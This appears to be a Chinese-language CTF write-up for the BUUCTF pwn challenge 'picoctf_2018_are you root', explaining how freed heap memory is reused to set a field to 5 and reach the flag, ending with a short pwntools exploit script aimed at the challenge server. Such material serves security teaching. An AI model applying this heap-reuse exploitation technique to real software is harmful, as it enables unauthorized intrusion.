[BUUCTF-pwn]——picoctf_2018_are you root
[BUUCTF-pwn]——picoctf_2018_are you root
- 題目地址:點(diǎn)這里
害,有點(diǎn)小燒腦子這道題. 又學(xué)習(xí)了幾個(gè)沒(méi)見(jiàn)過(guò)的C語(yǔ)言函數(shù)
peak小知識(shí)
- strtok: 第一次使用時(shí)候,需要兩個(gè)參數(shù)從第一個(gè)參數(shù)開始,到第二個(gè)參數(shù)接斷并且返回.
- strdup: malloc一個(gè)參數(shù)字符串大小的內(nèi)存,并且將字符串拷貝進(jìn)去.
正文
下面進(jìn)入正文,首先checksec看下
再去IDA中看下, 好明顯的暗示
緊接著去看看代碼, 想要進(jìn)入give-flag函數(shù), 需要v6 不為0, 同時(shí) *(v6 + 2) == 5
我們可以看到s和v10的距離是6, login加上一個(gè)空格的距離也是6
所以, v6就是我們后面輸入的字符串以及會(huì)申請(qǐng)同樣大小的內(nèi)存空間
我們注意到, *v6會(huì)free掉, 如果我們申請(qǐng)的大小為0x10那么放在fastbin里面后,下次我們申請(qǐng)的話,仍然是該空間.
思路
利用login, 將我們想要的數(shù)據(jù)排列好, *(v6 + 2), 其實(shí)就是v6[2], 四個(gè)字節(jié)的每個(gè)數(shù)據(jù)
所以字符只需要是’aaaaaaaa’ + p32(0x5) + ‘a(chǎn)aaa’, 因?yàn)閜32是4個(gè)字節(jié)剛好, 當(dāng)然我們也可以是’aaaaaaaa’ + p64(0x5), 因?yàn)槭切⌒蚨舜鎯?chǔ), 所以四個(gè)字節(jié)讀取的時(shí)候也是5
注意大小應(yīng)該是0x10, 這樣最好,可以百分百申請(qǐng)回來(lái)
將其釋放掉
重新申請(qǐng)回來(lái)這樣就不是 * v6指向它了而是v6指向它了
exploit
from pwn import *#p = process('./PicoCTF_2018_are_you_root') p = remote('node3.buuoj.cn',27037)p.sendlineafter('>','login ' + 'a'*0x8 + p32(0x5) + 'aaaa')p.sendlineafter('>','reset')p.sendlineafter('>','login aa') #這個(gè)aa可以隨便輸入,只要有并且不溢出就好p.sendlineafter('>','get-flag') p.interactive()總結(jié)
以上是生活随笔為你收集整理的[BUUCTF-pwn]——picoctf_2018_are you root的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: [BUUCTF-pwn]——cmcc_p
- 下一篇: [BUUCTF-pwn]——hitcon